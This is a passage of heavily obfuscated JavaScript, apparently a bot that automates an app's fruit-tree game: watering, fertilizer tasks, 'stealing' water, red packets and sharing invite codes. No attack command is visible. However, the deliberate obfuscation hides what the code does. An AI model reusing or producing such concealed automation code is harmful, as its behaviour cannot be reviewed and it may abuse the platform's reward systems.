$[_0x3472bb(0x6da,0x545,'\x41\x40\x62\x74',0x22b,0x5bd)](-0x36f+0x49*-0x22+0x1*0x1109);}_0x4dc256[_0x166057(0x6dc,0x7c3,'\x41\x6e\x41\x53',0xd8e,0x19f)](_0x25eaa5[_0x47482e(0x935,0x1340,'\x64\x6f\x4e\x70',0xf6e,0x125e)+'\x64'],'\x32\x34')&&(_0x4dc256[_0x3472bb(0xab5,0xe5a,'\x6e\x53\x58\x24',0xc66,0x9a8)](_0x4dc256[_0x3472bb(0x247,-0x19b,'\x56\x55\x65\x45',-0x253,-0xf8)],_0x4dc256[_0x2dcd23(0x511,-0x145,'\x6b\x72\x35\x76',-0x1d4,0x250)])?(_0x23eec1[_0x3472bb(0x53f,-0x49d,'\x6b\x72\x35\x76',-0x140,-0x17a)](_0x4dc256[_0x3472bb(0x6ce,0x2c1,'\x34\x4a\x59\x74',0xf44,0x91c)](_0x4dc256[_0x2dcd23(0xae3,0x78e,'\x45\x74\x4e\x68',0x552,0xe0b)],_0x347e7c)),_0x4dc256[_0x3472bb(0x279,0x55a,'\x76\x74\x36\x39',0x627,0x5ec)](_0xad31e3)):(await _0x4dc256[_0x166057(0x62b,0x5d8,'\x6e\x53\x58\x24',0xccf,0x15d)](waterTaskShare,_0x54e64b),await $[_0x2dcd23(0x23d,0x250,'\x5d\x6e\x6c\x64',0x2ec,0x81d)](-0x274*-0x7+0xd8b*-0x1+0x47)));}}}else _0x56898d[_0x3472bb(0x273,0x22c,'\x61\x4c\x56\x47',0x4a9,-0x3c)](_0x4dc256[_0x2dcd23(0x498,0x18a,'\x41\x40\x62\x74',-0x30b,0x4de)](_0x4dc256[_0x47482e(0x3b7,0x751,'\x50\x5d\x49\x57',0x678,0x914)],_0x550826)),_0x4dc256[_0x166057(0x5ca,0xb69,'\x30\x29\x35\x70',0xaa9,0x205)](_0x501e8b);}else _0x15622d[_0x47482e(0x6a9,0xbd7,'\x73\x28\x4d\x75',0xbad,0xdb3)](_0x4dc256[_0x307527('\x45\x64\x30\x4a',0xaa5,0x486,0x664,0xc0c)](_0x4dc256[_0x47482e(0x733,0xa05,'\x6c\x54\x48\x57',0x7d7,0xd52)],_0x2634b7)),_0x4dc256[_0x47482e(0x73f,0x3c8,'\x54\x56\x24\x21',0x985,0xeed)](_0x53b71a);};let _0x5d87d4=await _0x4dc256[_0x47482e(0xce0,0xa3d,'\x30\x29\x35\x70',0x916,0xdc8)](fertilizerTaskList);if(_0x4dc256[_0x47482e(0xdb1,0xde4,'\x31\x71\x6b\x4a',0x7b5,0x35a)](_0x5d87d4[_0x3472bb(0x256,0x538,'\x44\x5d\x71\x6c',0xab9,0x648)+'\x74'],-0x1a40+0x113f+-0x1*-0x902)){if(_0x4dc256[_0x2dcd23(-0x2d5,0x1a4,'\x58\x23\x51\x29',-0x336,0x6b3)](_0x4dc256[_0x3472bb(0x8e6,0x5a6,'\x46\x42\x49\x42',-0x351,0x2bc)],_0x4dc256[_0x2dcd23(0x769,0xb05,'\x6c\x54\x48\x57',0xf61,0xa6e)])){let _0x3ca598=_0x3ca714[_0x166057(0xa53,0x479,'\x5d\x5b\x48\x44',0x491,0x3aa)](_0x191b80[_0x47482e(0x4eb,-0x8b,'\x56\x55\x65\x45',0x3c8,-0x68)]);_0x4e3ecd[_0x2dcd23(0x9ad,0x6b2,'\x55\x4e\x28\x56',0x37b,0x416)](_0x4dc256[_0x47482e(0x86d,0x81c,'\x56\x6b\x71\x37',0xa78,0xa8f)]),_0x4dc256[_0x3472bb(0x7d2,-0xa4,'\x21\x2a\x37\x57',0x1f,0x281)](_0x52f9ca);}else for(let _0x9abd5f=-0x2*0xde3+0x21f6+-0x630;_0x4dc256[_0x166057(0x708,0x46,'\x4e\x74\x35\x73',0xcff,0x457)](_0x9abd5f,_0x5d87d4[_0x47482e(0x8b5,0x575,'\x4a\x55\x45\x71',0xa9e,0xa7d)][_0x307527('\x73\x28\x4d\x75',0x9ad,0xcb0,0xc4a,0xe6f)+_0x307527('\x54\x56\x24\x21',0x14b2,0x7e0,0xe16,0xe81)+'\x6f'][_0x307527('\x30\x29\x35\x70',0x9b5,0x232,0x7e8,0x618)+'\x68']);_0x9abd5f++){if(_0x4dc256[_0x2dcd23(0x28f,-0x185,'\x55\x4e\x28\x56',0x3ef,-0x631)](_0x4dc256[_0x47482e(-0x11b,0x967,'\x55\x4e\x28\x56',0x40a,0x321)],_0x4dc256[_0x166057(0xb9,-0x2c4,'\x30\x31\x32\x62',-0x5f5,0x3d6)])){let _0x3f96a3=_0x5eaf17[_0x2dcd23(0x80e,0x1c6,'\x56\x6b\x71\x37',-0xdc,-0x318)](_0x2ec726[_0x3472bb(0x3d8,-0xa3,'\x54\x56\x24\x21',0xf5,0x3fe)]);if(_0x4dc256[_0x2dcd23(0x42b,0x1fa,'\x21\x2a\x37\x57',0x155,0x2c2)](_0x3f96a3[_0x2dcd23(0x22f,0x1bc,'\x73\x28\x4d\x75',0x212,0x817)+'\x74'],-0xc65*0x2+-0xb2b+0x23f6))_0x26e6bc[_0x2dcd23(0x6ae,-0x35,'\x56\x55\x65\x45',0x30,-0x3bc)](_0x4dc256[_0x3472bb(-0x2dd,-0x705,'\x5d\x6e\x6c\x64',0x29,-0x1e9)](_0x4dc256[_0x2dcd23(0xb1b,0xaa1,'\x6f\x65\x59\x78',0x10c1,0xea6)](_0x4dc256[_0x166057(-0x201,-0xeb,'\x61\x4c\x56\x47',-0x3c1,-0x71b)],_0x3f96a3[_0x47482e(0xd47,0x305,'\x4e\x74\x35\x73',0x6da,0x3b9)][_0x166057(0x9d1,0xf99,'\x6f\x65\x59\x78',0xcab,0x532)+_0x3472bb(0x55e,0xb15,'\x4e\x74\x35\x73',0x8a2,0x971)+_0x307527('\x34\x4a\x59\x74',0x3f2,0x9f7,0x9cb,0xaa9)][_0x166057(0xba,0xa,'\x43\x75\x73\x46',0x64,0x1a6)+_0x307527('\x4f\x6f\x72\x35',0xd05,0x990,0xe3a,0xa08)][-0x7*-0x30f+-0x13*-0x85+-0x1f48][_0x47482e(0x39d,0xc52,'\x6e\x46\x49\x33',0x5fc,0xb7a)+'\x74']),'\x67'));else _0x317da9[_0x307527('\x24\x66\x56\x5d',0x859,0xe83,0x9d7,0x46d)](_0x4dc256[_0x307527('\x4c\x34\x59\x31',0x897,0x8ad,0x83a,0x311)]);_0x4dc256[_0x166057(0x21,-0x5d2,'\x5d\x6e\x6c\x64',-0xcf,-0x1b1)](_0x48a0bc);}else{let _0x51704c=_0x5d87d4[_0x3472bb(-0x3e5,0x6f,'\x30\x31\x32\x62',0x1f2,0x25d)][_0x2dcd23(0x48,0x5aa,'\x6e\x53\x58\x24',0x92e,0x64f)+_0x3472bb(0x228,0x214,'\x79\x45\x73\x4a',0x131,0x608)+'\x6f'][_0x9abd5f];if(_0x4dc256[_0x307527('\x76\x74\x36\x39',0x922,0xa1b,0x906,0x247)](_0x51704c[_0x47482e(-0x2a2,0x49d,'\x4f\x6f\x72\x35',0x2e1,0x93a)+_0x3472bb(0x4e1,0xad3,'\x54\x56\x24\x21',0xaa8,0x686)+_0x3472bb(0x11d8,0x1206,'\x61\x4c\x56\x47',0xe1d,0xbaf)],_0x4dc256[_0x166057(0xe8,0x65b,'\x55\x4e\x28\x56',0x131,0x626)])){if(_0x4dc256[_0x2dcd23(0x569,0x5ab,'\x5b\x35\x69\x4f',0xb31,0x7f4)](_0x4dc256[_0x166057(-0x1f,0x61f,'\x6e\x76\x6d\x2a',0x96,-0x219)],_0x4dc256[_0x2dcd23(0x112a,0xa4a,'\x5d\x79\x74\x33',0x880,0x403)])){_0x4dc256[_0x47482e(0x60e,0xca6,'\x21\x2a\x37\x57',0x6c0,0xc00)](_0x51704c[_0x307527('\x21\x33\x39\x77',0xc2f,0x14f3,0xe78,0x1258)+'\x64'],'\x31\x30')&&(_0x4dc256[_0x47482e(-0x182,0x5ef,'\x31\x71\x6b\x4a',0x510,0x847)](_0x4dc256[_0x307527('\x6e\x76\x6d\x2a',0xbb8,0x880,0x8b6,0xb35)],_0x4dc256[_0x307527('\x45\x74\x4e\x68',0x15dc,0xe09,0x1184,0x10e1)])?(_0x3e81a0[_0x166057(0x961,0x759,'\x46\x42\x49\x42',0xa95,0xc26)](_0x4dc256[_0x166057(0x547,-0x45,'\x5d\x79\x74\x33',0x61d,0x221)](_0x4dc256[_0x3472bb(0xcf3,0xc4e,'\x6f\x65\x59\x78',0xa1d,0x9e2)],_0x27a314)),_0x4dc256[_0x3472bb(0xb35,0x454,'\x46\x42\x49\x42',0xed4,0x9e4)](_0x196935)):(await _0x4dc256[_0x3472bb(0xa69,0x8b5,'\x64\x6f\x4e\x70',0xc07,0x891)](fertilizerTask),await $[_0x166057(-0x42,0x540,'\x67\x4d\x30\x75',0x13,0x27d)](0x410+-0x1bb+0x193)));if(_0x4dc256[_0x2dcd23(0x1d5,0x5e3,'\x21\x33\x39\x77',0xc1d,0x6b5)](_0x51704c[_0x307527('\x44\x5d\x71\x6c',0xb4b,0x1bf,0x6b5,0xa37)+'\x64'],'\x31\x31')){if(_0x4dc256[_0x166057(0x8d5,0xdf0,'\x55\x4e\x28\x56',0x2ca,0xe11)](_0x4dc256[_0x3472bb(0xcd5,0x6e0,'\x6c\x54\x48\x57',0x702,0x71f)],_0x4dc256[_0x166057(0x4c2,0x5c7,'\x24\x66\x56\x5d',0x5b2,0x49a)]))await _0x4dc256[_0x166057(-0x104,0x181,'\x76\x74\x36\x39',-0x778,0x4c5)](searchKey),await $[_0x166057(0x54e,0x92f,'\x50\x5d\x49\x57',0x604,-0x13)](0x83b*0x1+0x1211+-0x1664);else{const _0x5efc94=_0x2b23c9?function(){function _0x41e327(_0x44fd58,_0x196300,_0x158941,_0x97fb,_0x2068e6){return _0x47482e(_0x44fd58-0xcb,_0x196300-0x1ee,_0x196300,_0x44fd58- -0x330,_0x2068e6-0x12d);}if(_0x198287){const _0x3bc19d=_0xa66b98[_0x41e327(0x1c,'\x45\x64\x30\x4a',0x4f7,0x1b5,0x5c5)](_0x36e1c9,arguments);return _0x1bba18=null,_0x3bc19d;}}:function(){};return _0x217f05=![],_0x5efc94;}}}else{let _0x5b7242=_0x3fde0b[_0x47482e(0x6a1,0x2fb,'\x4c\x34\x59\x31',0x1e2,-0x14f)](_0x523a2d[_0x166057(0x43f,0x810,'\x46\x42\x49\x42',0x7fa,0x8c)]);if(_0x4dc256[_0x166057(0x3e0,0x42e,'\x51\x50\x65\x2a',0x4be,-0x1c4)](_0x5b7242[_0x307527('\x64\x6f\x4e\x70',0xa96,0x1241,0xe4f,0xb2b)+'\x74'],-0x1314+0x53+0x12c2))_0x57a408=_0x5b7242[_0x307527('\x73\x28\x4d\x75',0x9bc,0x1102,0xfed,0x1083)][_0x3472bb(0xbe6,0x1b0,'\x44\x5d\x71\x6c',0x98e,0x61f)+_0x2dcd23(-0x73,0x485,'\x21\x33\x39\x77',0x829,-0xdc)],_0x2a0c94=_0x5b7242[_0x3472bb(0x50c,0x9f7,'\x58\x23\x51\x29',0x1c7,0x5a7)][_0x307527('\x4a\x55\x45\x71',0xcb9,0x103b,0xf05,0xcc1)+'\x64'];else _0x54c380[_0x47482e(0x481,0xef,'\x54\x56\x24\x21',0x71d,0x3eb)](_0x4dc256[_0x3472bb(0x8,-0xcf,'\x4a\x55\x45\x71',-0x503,-0x1b3)](_0x4dc256[_0x3472bb(0x18b,-0x1df,'\x21\x33\x39\x77',-0x3d5,-0x18f)],_0x5b7242[_0x166057(0x4ce,0x67d,'\x21\x6e\x65\x4c',0xa9f,0x310)+_0x2dcd23(0x97f,0x51d,'\x21\x2a\x37\x57',0xaa5,0x6a4)]));_0x4dc256[_0x3472bb(0x692,0x353,'\x61\x4c\x56\x47',0x2ee,0x3f6)](_0x51e370);}}}}};await _0x4dc256[_0x307527('\x45\x55\x66\x55',0x1205,0x113d,0xcff,0x129f)](fertilizerHelp),await $[_0x166057(-0xe2,-0x54b,'\x34\x4a\x59\x74',0x51b,-0x793)](0xa0e+0x123a*-0x2+0x1e4e),await _0x4dc256[_0x2dcd23(0x206,0x755,'\x4f\x6f\x72\x35',0x7a9,0x591)](openTeam),await $[_0x2dcd23(0x287,0x1e6,'\x23\x4b\x6e\x33',0x3ae,0x3b1)](-0x11*0x10b+-0x529*0x4+0x2a47),await _0x4dc256[_0x307527('\x21\x33\x39\x77',0x11af,0xbe0,0x11ce,0x14cb)](waterHelp),await $[_0x2dcd23(0x315,0x5d1,'\x76\x74\x36\x39',0xbe8,0x85)](-0x1+-0x1*-0x905+-0x51c),await _0x4dc256[_0x166057(0x58,0x48f,'\x5d\x6e\x6c\x64',0x76,0x498)](stealWater),await $[_0x2dcd23(0xaf4,0x606,'\x50\x5d\x49\x57',0xae4,0xa58)](-0x4*-0x7c3+0x1ddc+-0x3900),await _0x4dc256[_0x2dcd23(-0x488,0x1b9,'\x6b\x72\x35\x76',0x2b8,0x1ef)](giftcard),await $[_0x47482e(0x775,0x575,'\x67\x4d\x30\x75',0x3cc,0x994)](0x10b4+0x23f7+-0x30c3),await _0x4dc256[_0x47482e(0xaf0,0xdae,'\x70\x4b\x21\x31',0xeeb,0xc2b)](watering),await $[_0x166057(0x275,0x24,'\x4c\x34\x59\x31',0x666,-0x472)](-0x1e88+0x1*-0x24df+0x474f),await _0x4dc256[_0x166057(0xa56,0x81c,'\x67\x4d\x30\x75',0x894,0x812)](useFertilizer),await $[_0x166057(0xb41,0x996,'\x6e\x76\x6d\x2a',0xdc1,0xaab)](-0xfb+-0x1*0x1529+0x1a0c),await _0x4dc256[_0x47482e(0xb8f,0x969,'\x21\x6e\x65\x4c',0xd09,0x13c8)](redpacket),await $[_0x307527('\x45\x64\x30\x4a',0xd4a,0xdac,0x7ba,0x16f)](0x1fec+0x148+-0x32*0x96),await _0x4dc256[_0x3472bb(0xce1,0xe1d,'\x6f\x65\x59\x78',0xb52,0xaa3)](treeInfo,_0x9c0ac9,0x20b9+0x11fe+0x195b*-0x2),shareStr+=_0x4dc256[_0x307527('\x6e\x53\x58\x24',0x89a,0xff9,0xc2a,0x6d2)](_0x4dc256[_0x166057(0xb22,0x485,'\x7a\x78\x28\x4e',0x4fe,0x8b5)](_0x4dc256[_0x3472bb(0x927,-0xab,'\x41\x40\x62\x74',0x669,0x42b)](userid,'\x40'),inviteCode),'\x26');}else{if(_0x4dc256[_0x166057(0x7c7,0xa47,'\x31\x71\x6b\x4a',0x291,0xd12)](_0x5a93ce[_0x166057(0x637,0x2,'\x4d\x58\x52\x4d',0x67a,0x1c5)][_0x166057(0x7eb,0xe1a,'\x67\x4d\x30\x75',0x761,0xcc8)+_0x47482e(0xbf,0x260,'\x76\x74\x36\x39',0x26d,0x930)+_0x166057(0xb6c,0xb19,'\x79\x45\x73\x4a',0x698,0x8f4)][_0x47482e(0x609,0x4a8,'\x30\x31\x32\x62',0x86c,0xbd8)+'\x68'],0x54d*-0x4+-0x17b*-0xd+0xa7*0x3))_0x1b3608[_0x307527('\x30\x29\x35\x70',0x5a6,0x5cc,0xb9f,0xabd)](_0x4dc256[_0x2dcd23(0x21f,0x70b,'\x44\x5d\x71\x6c',0xd80,0x237)](_0x4dc256[_0x47482e(0x9e4,0xf9a,'\x5d\x6e\x6c\x64',0xf6f,0xc7c)],_0x16a8ae[_0x2dcd23(0x372,0x5ea,'\x6e\x46\x49\x33',0x73b,0xb63)][_0x166057(0x33f,0x3fa,'\x4e\x74\x35\x73',0x95b,-0x29f)+_0x47482e(0x88d,0xe06,'\x5b\x35\x69\x4f',0xbef,0xb79)+_0x3472bb(0x488,0x4ae,'\x4f\x6f\x72\x35',0xf2c,0xb57)][0x37b*0x7+0x1fc0*0x1+0x381d*-0x1][_0x3472bb(0x11b8,0x908,'\x4f\x6f\x72\x35',0xfb2,0xb92)][-0x5b2+0x2641+-0x208f]));_0x3cf1a0[_0x3472bb(0x810,0x1261,'\x6e\x76\x6d\x2a',0x7f1,0xb94)](_0x4dc256[_0x47482e(0xb2e,0x531,'\x6e\x46\x49\x33',0x87b,0x492)]);}}function _0x2dcd23(_0x251791,_0x1ec4f2,_0x574e3f,_0x4dae0e,_0x35da4c){return _0x4a4e(_0x1ec4f2- -0x2f5,_0x574e3f);}console[_0x307527('\x41\x6e\x41\x53',0x271,0x8ac,0x5bc,0x5c4)](_0x4dc256[_0x3472bb(-0x1ae,0x492,'\x58\x23\x51\x29',-0x37e,0x212)](_0x4dc256[_0x47482e(0xc5e,0x1238,'\x4a\x55\x45\x71',0xca6,0xf69)],shareStr[_0x166057(-0x1a,0x3ae,'\x7a\x78\x28\x4e',-0x71,-0x24c)+'\x72'](-0xc2*0x15+-0xbd1+0x1bbb,_0x4dc256[_0x3472bb(0x31c,0x70c,'\x4c\x34\x59\x31',0x114,0x5e2)](shareStr[_0x2dcd23(0x36f,0x565,'\x49\x29\x49\x39',0x139,0xba)+'\x68'],0x15eb*0x1+0x1cc5+-0x207*0x19)))),$[_0x307527('\x4c\x28\x57\x30',0x74c,0xe96,0x883,0x20a)+'\x79'](_0x4dc256[_0x307527('\x49\x29\x49\x39',0x2fc,0x7e1,0x878,0x91c)],'',msgStr);if($[_0x2dcd23(0x113c,0xad7,'\x34\x4a\x59\x74',0x1040,0xa14)][_0x307527('\x4f\x6f\x72\x35',0xf86,0xe48,0xa95,0xabb)+'\x65'])await notify[_0x166057(0x4a0,0x7de,'\x45\x64\x30\x4a',-0x153,0x34)+_0x166057(0x57d,0x6fa,'\x6b\x72\x35\x76',0xa02,0x99a)](_0x4dc256[_0x166057(-0x228,0x101,'\x73\x28\x4d\x75',-0x21f,-0x66a)],msgStr);})()[_0x38128f(0xbe2,-0x9e,0x9b9,'\x4c\x34\x59\x31',0x5fd)](async _0x4290a1=>{function _0x3fe201(_0x520e3b,_0x1393ce,_0x445daf,_0x131cbd,_0x257768){return _0x38128f(_0x520e3b-0x8a,_0x1393ce-0x179,_0x445daf-0x19f,_0x445daf,_0x1393ce-0x29d);}function _0x1f9479(_0x21a9ca,_0x4e17b1,_0x4c8fd3,_0x271ba3,_0x529082){return _0x38128f(_0x21a9ca-0x12b,_0x4e17b1-0x14,_0x4c8fd3-0x1bc,_0x21a9ca,_0x4e17b1-0x303);}function _0x102949(_0x2ee2f6,_0x382d26,_0x2c51b6,_0x22093b,_0x2b0437){return _0x38128f(_0x2ee2f6-0x61,_0x382d26-0x135,_0x2c51b6-0x13c,_0x22093b,_0x382d26-0x56);}function _0x135f06(_0x2663e5,_0x419912,_0x4721b9,_0x2ce180,_0x16e0c5){return _0x38128f(_0x2663e5-0x18c,_0x419912-0x2a,_0x4721b9-0x10e,_0x16e0c5,_0x4721b9-0x4eb);}const _0x2e909a={'\x69\x41\x57\x75\x4b':function(_0x11f3ad,_0x2b78cd){return _0x11f3ad+_0x2b78cd;},'\x63\x7a\x73\x76\x6a':_0x135f06(-0xdd,0x241,0x466,0x4b6,'\x46\x42\x49\x42')+_0x1f9479('\x43\x75\x73\x46',0x837,0x516,0xcf1,0x359)};function _0x46b3f9(_0x5035ac,_0x25f93f,_0x5e95c6,_0x2a628c,_0xbdacd5){return _0x38128f(_0x5035ac-0x156,_0x25f93f-0x42,_0x5e95c6-0xc0,_0x2a628c,_0x5e95c6-0x64f);}console[_0x1f9479('\x46\x42\x49\x42',0xc29,0xc13,0x9e5,0x11dd)]('',_0x2e909a[_0x46b3f9(0x66,0x8d0,0x608,'\x24\x66\x56\x5d',0x428)](_0x2e909a[_0x46b3f9(0xfd6,0xf80,0xc15,'\x4c\x28\x57\x30',0x10ff)](_0x2e909a[_0x102949(0x89c,0x82a,0x2ce,'\x54\x56\x24\x21',0x669)],_0x4290a1),'\x21'),'');})[_0x38128f(0x499,0x9e7,0xc21,'\x45\x55\x66\x55',0x672)+'\x6c\x79'](()=>{function _0x1c924f(_0x308222,_0x131210,_0x7083f4,_0xd35528,_0x47d43f){return _0x38128f(_0x308222-0x11,_0x131210-0x1c0,_0x7083f4-0x147,_0x308222,_0xd35528-0x470);}$[_0x1c924f('\x41\x40\x62\x74',0x623,0xbc6,0xcf0,0x12ef)]();});async function queryNickName(){function _0x102825(_0x3fca0c,_0x2849ae,_0x3adb5b,_0x2c48dc,_0x4bd979){return _0x14621e(_0x2849ae-0x14c,_0x3fca0c,_0x3adb5b-0xa5,_0x2c48dc-0x5d,_0x4bd979-0xf6);}function _0x32c00a(_0x2d2f34,_0x33765f,_0xbd8e,_0x48cd77,_0x16306a){return _0x38128f(_0x2d2f34-0x9a,_0x33765f-0x141,_0xbd8e-0xd8,_0x33765f,_0x16306a-0x74b);}function _0x401b57(_0x3457d0,_0x357809,_0x51204c,_0x4d9ca8,_0x55a3a8){return _0x14621e(_0x55a3a8- -0x13a,_0x357809,_0x51204c-0xcb,_0x4d9ca8-0xca,_0x55a3a8-0x143);}function _0x26f093(_0x175e56,_0x1bb342,_0x2bcd65,_0x3fc75c,_0x3318b0){return _0x38128f(_0x175e56-0x9b,_0x1bb342-0x14,_0x2bcd65-0x92,_0x175e56,_0x3fc75c-0x78f);}const _0x3a52c4={'\x4a\x66\x4b\x50\x41':function(_0x401247,_0x553fd9){return _0x401247===_0x553fd9;},'\x4f\x70\x4a\x45\x6b':_0x26f093('\x56\x55\x65\x45',0xac3,0xe24,0xfaa,0x14bd),'\x4d\x55\x64\x73\x59':function(_0x1b9b93,_0x361ca8){return _0x1b9b93(_0x361ca8);},'\x52\x6e\x43\x4e\x4d':function(_0x215663,_0x81892b){return _0x215663==_0x81892b;},'\x56\x69\x6f\x54\x66':function(_0x42b90e,_0x37f913){return _0x42b90e>_0x37f913;},'\x50\x77\x72\x6d\x67':function(_0x4986f7,_0x363da5){return _0x4986f7+_0x363da5;},'\x53\x69\x58\x46\x6e':_0x32c00a(0x14eb,'\x5b\x35\x69\x4f',0x14f8,0x984,0xf3f)+_0x32c00a(0x1179,'\x4f\x6f\x72\x35',0x171e,0xd66,0x10c0),'\x54\x7a\x45\x73\x6c':_0x102825('\x4d\x58\x52\x4d',0x62a,0x7d1,0xb16,0x73d)+_0x26f093('\x70\x4b\x21\x31',0xb8c,0xf5f,0xb69,0x811)+'\u5931\u8d25','\x4e\x6f\x65\x51\x63':function(_0x318c7f,_0x18550c){return _0x318c7f+_0x18550c;},'\x41\x55\x71\x4d\x47':_0x32c00a(0x65c,'\x7a\x78\x28\x4e',0x1083,0x101a,0xc84)+_0x32c00a(0x9dc,'\x6c\x54\x48\x57',0xb70,0x35c,0x7c6)+'\x28','\x78\x54\x72\x6e\x71':_0x401b57(0x647,'\x41\x40\x62\x74',0x438,0x83b,0x5ad),'\x50\x7a\x57\x67\x49':_0x2068d7(0xa3d,0x3e5,'\x21\x33\x39\x77',0xa8f,0x20)+'\u3011\x3a','\x77\x6f\x62\x71\x77':function(_0x449a27,_0x39fbb6){return _0x449a27!==_0x39fbb6;},'\x43\x4b\x42\x43\x4d':_0x26f093('\x4f\x6f\x72\x35',0xa4d,0x451,0x77b,0xd89),'\x68\x62\x43\x79\x69':_0x401b57(0xd5d,'\x54\x56\x24\x21',0x600,0x1016,0xafd),'\x45\x42\x59\x53\x74':function(_0x5281b2,_0x3c7128){return _0x5281b2===_0x3c7128;},'\x58\x4a\x4a\x73\x57':_0x26f093('\x21\x6e\x65\x4c',0x13f5,0xc45,0xf23,0x13c1),'\x78\x65\x46\x70\x45':function(_0x244808,_0x27e451,_0x27d807){return _0x244808(_0x27e451,_0x27d807);},'\x53\x43\x6f\x74\x79':_0x32c00a(0xa23,'\x6b\x72\x35\x76',0xc4e,0x3a0,0x7c3)+_0x401b57(0x45a,'\x41\x6e\x41\x53',-0x3,0x163,0x214)+_0x401b57(0x4a3,'\x21\x6e\x65\x4c',0x490,0x322,-0xc9)+_0x2068d7(0x682,0x451,'\x4c\x34\x59\x31',0x108,0x578)+_0x32c00a(0x7,'\x4e\x74\x35\x73',0x24,0x9e7,0x59e)+_0x401b57(0xc18,'\x56\x6b\x71\x37',0x7b1,0xde6,0x7fb)+_0x26f093('\x64\x6f\x4e\x70',0x1672,0xb6c,0x1153,0x172d)+_0x32c00a(0xa51,'\x6c\x54\x48\x57',0xd2,0x40c,0x5a2)+_0x102825('\x21\x33\x39\x77',0x158,0x667,0x691,0xd3)+_0x2068d7(-0xcb,0x25b,'\x56\x55\x65\x45',0x728,0x6b0)+_0x26f093('\x21\x6e\x65\x4c',0xf67,0xb9e,0x127a,0x14c5)+_0x32c00a(0x60e,'\x56\x55\x65\x45',0x284,0xbd7,0x8aa)+_0x32c00a(-0x47,'\x5d\x6e\x6c\x64',0x9e6,-0x58,0x5ed)+_0x26f093('\x21\x2a\x37\x57',0x1371,0x1223,0x12b6,0x13cf)+_0x26f093('\x4c\x28\x57\x30',0x1466,0x10f7,0x11f0,0x1868),'\x5a\x58\x6e\x41\x4f':_0x32c00a(0xe07,'\x45\x64\x30\x4a',0xfc9,0xf8b,0x1127)+_0x401b57(0x31,'\x56\x55\x65\x45',0x842,0x112,0x4c1)+_0x401b57(-0x201,'\x58\x23\x51\x29',0x297,0x200,0x123)+_0x401b57(0x8b4,'\x5d\x5b\x48\x44',0x5ca,0x98c,0x462),'\x4b\x6f\x4e\x71\x6c':_0x401b57(0x278,'\x7a\x78\x28\x4e',0x5e9,0x162,-0x7),'\x53\x6c\x74\x47\x6d':function(_0x373802,_0x5524cd){return _0x373802+_0x5524cd;},'\x5a\x4a\x6b\x6e\x4c':_0x26f093('\x34\x4a\x59\x74',0x4e5,0x705,0x86c,0xab4)+_0x26f093('\x21\x2a\x37\x57',0x1228,0xfd1,0xf5a,0xc97),'\x72\x75\x4a\x70\x79':function(_0x11d6c3,_0x4dba78){return _0x11d6c3(_0x4dba78);}};function _0x2068d7(_0x442645,_0x5835a6,_0x37a45c,_0x3541a5,_0x1bc306){return _0x38128f(_0x442645-0x135,_0x5835a6-0x1f3,_0x37a45c-0x175,_0x37a45c,_0x5835a6-0x1af);}return new Promise(async _0x4c77e8=>{function _0x21d0df(_0x5141a5,_0x3932c8,_0x22a570,_0x235b5a,_0x1c0335){return _0x401b57(_0x5141a5-0xfe,_0x3932c8,_0x22a570-0x65,_0x235b5a-0x49,_0x1c0335- -0x7a);}const _0x275129={'\x57\x70\x79\x51\x6f':function(_0x29cf92,_0x25f112){function _0x4cddf5(_0x20b31,_0xf8ab91,_0x1abbe7,_0xa74fb3,_0x4cc4f3){return _0x4a4e(_0xa74fb3- -0x31,_0x20b31);}return _0x3a52c4[_0x4cddf5('\x23\x4b\x6e\x33',0x77e,0x43b,0x5e8,0x98d)](_0x29cf92,_0x25f112);},'\x64\x75\x6a\x4a\x6a':function(_0x54a38a,_0x8d650d){function _0x5d7c1b(_0x1f6b73,_0x432d64,_0x699081,_0x4c65f0,_0x3dc87b){return _0x4a4e(_0x4c65f0-0x3e6,_0x432d64);}return _0x3a52c4[_0x5d7c1b(0xbab,'\x56\x6b\x71\x37',0xd86,0x982,0xc2d)](_0x54a38a,_0x8d650d);},'\x6f\x65\x50\x71\x6c':function(_0x389d8e,_0x17df3d){function _0x23dd09(_0x52525d,_0x207916,_0x240f52,_0x5ccea4,_0xc04359){return _0x4a4e(_0xc04359- -0x29b,_0x207916);}return _0x3a52c4[_0x23dd09(-0x43f,'\x64\x6f\x4e\x70',0x49f,0x48a,0x161)](_0x389d8e,_0x17df3d);},'\x66\x68\x6b\x77\x50':_0x3a52c4[_0x21d0df(0x923,'\x58\x23\x51\x29',0xfc9,0x47d,0xaba)],'\x46\x66\x63\x6b\x47':_0x3a52c4[_0x21d0df(0x1a2,'\x55\x4e\x28\x56',-0x257,0x73b,0x2b3)],'\x77\x4b\x45\x75\x46':_0x3a52c4[_0x315a12(0x18,0x6e1,0x6ea,'\x7a\x78\x28\x4e',0x206)]};function _0x26ef16(_0x23f28f,_0x18f1e2,_0x58b8d0,_0x17193d,_0x4edc73){return _0x401b57(_0x23f28f-0xd9,_0x18f1e2,_0x58b8d0-0xe0,_0x17193d-0x121,_0x23f28f-0x33d);}function _0x315a12(_0xc22eb4,_0x34d31a,_0x2c4658,_0x4ffd2e,_0x446afa){return _0x102825(_0x4ffd2e,_0x2c4658- -0x34a,_0x2c4658-0x1a7,_0x4ffd2e-0x49,_0x446afa-0x7);}function _0x19ae3f(_0x5978e7,_0x2f242c,_0x5a9cb5,_0x44ff38,_0x3bd536){return _0x102825(_0x5978e7,_0x2f242c-0x52,_0x5a9cb5-0xee,_0x44ff38-0x16d,_0x3bd536-0xd4);}function _0x54f070(_0x345d0d,_0x537493,_0x524540,_0x2e1f01,_0x3aeac4){return _0x401b57(_0x345d0d-0x18,_0x524540,_0x524540-0xd5,_0x2e1f01-0x10c,_0x345d0d-0x5af);}if(_0x3a52c4[_0x315a12(0x9eb,0xac4,0x72e,'\x6e\x53\x58\x24',0x846)](_0x3a52c4[_0x19ae3f('\x4d\x58\x52\x4d',0xe0b,0xc2d,0xfa1,0x13fd)],_0x3a52c4[_0x19ae3f('\x5d\x5b\x48\x44',0x3e4,0x44c,-0x8b,0x46c)]))try{if(_0x3a52c4[_0x54f070(0xe60,0x125d,'\x45\x74\x4e\x68',0x12e0,0x96e)](_0x3a52c4[_0x19ae3f('\x43\x75\x73\x46',0x213,0x675,0x551,-0x37a)],_0x3a52c4[_0x19ae3f('\x4c\x28\x57\x30',0xc88,0x1123,0xa5b,0x71a)])){let _0x3b54bb=_0x3a52c4[_0x315a12(0x9ee,0x2ea,0x426,'\x5b\x35\x69\x4f',0x9e1)](urlTask,_0x3a52c4[_0x19ae3f('\x64\x6f\x4e\x70',0xe67,0x114c,0x12f8,0x127a)],_0x3a52c4[_0x315a12(0x52a,-0x418,-0x106,'\x4f\x6f\x72\x35',-0x2e2)]);await 